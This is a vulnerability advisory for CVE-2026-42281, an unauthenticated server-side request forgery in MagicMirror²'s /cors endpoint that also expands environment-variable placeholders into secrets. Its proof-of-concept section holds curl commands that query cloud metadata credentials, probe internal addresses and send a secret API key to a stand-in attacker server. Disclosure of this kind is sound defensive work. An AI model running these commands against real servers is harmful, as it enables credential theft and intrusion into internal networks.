CVE-2026-42281

Description

### Summary An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets. ### Details The `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller. Additionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials). **Vulnerable code path:** ``` GET /cors?url=<attacker-controlled-url> → replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR → fetch(url) // no validation, no blocklist → response returned to attacker // full body, status, headers ``` **Key issues:** - No authentication required - No URL validation or blocklist for private/reserved IP ranges - No restriction on URL scheme or destination - Environment variable expansion in URL before fetch ### PoC **Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://<host>:8080`). **1. Basic SSRF — access cloud metadata (AWS IMDSv1):** ``` curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/" ``` If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials. **2. Internal network scanning:** ``` curl "http://<target>:8080/cors?url=http://192.168.1.1/" curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/" ``` The attacker can probe internal services by observing response status codes and timing. **3. Environment variable exfiltration:** ``` curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**" ``` The server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter. ### Impact - **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account - **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker - **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable - **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability